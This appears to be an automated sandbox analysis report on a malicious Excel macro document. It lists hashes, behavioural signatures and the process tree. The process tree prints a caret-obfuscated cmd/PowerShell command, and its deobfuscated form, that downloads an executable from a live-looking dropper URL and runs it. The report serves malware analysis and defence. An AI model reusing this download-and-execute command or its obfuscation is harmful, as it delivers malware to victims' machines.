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Analysis

  • max time kernel
    19s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    15/08/2024, 02:50

General

  • Target

    3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls

  • Size

    71KB

  • MD5

    a8b328978b0cd22a8fe928d4f9d5156e

  • SHA1

    a800e64f46a26fdb5670cb79c326d4ec2de90614

  • SHA256

    3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b

  • SHA512

    7aa3fbcb0bf49fe7df79940303bafb7241df06eb09c8825d3c0ab5ac5acacb29795030cf2cadebc764ed630a3c69d4f3e404871b2e4e45f7ca532c9827fd12af

  • SSDEEP

    1536:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:vkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cedacriall.faith/1aqalpiniahelfuimoksa.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3e2675ff31c9b5e178654b37afbb574227fcee4faa2a386044f40ddaadb2478b.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2748
      • C:\Windows\SysWOW64\cMd.exe
        cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1996

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2688-1-0x000000007259D000-0x00000000725A8000-memory.dmp

      Filesize

      44KB

    • memory/2688-244-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB

    • memory/2688-125-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB

    • memory/2688-246-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB

    • memory/2688-245-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB

    • memory/2688-44-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB

    • memory/2688-249-0x000000007259D000-0x00000000725A8000-memory.dmp

      Filesize

      44KB

    • memory/2688-250-0x00000000066B0000-0x00000000067B0000-memory.dmp

      Filesize

      1024KB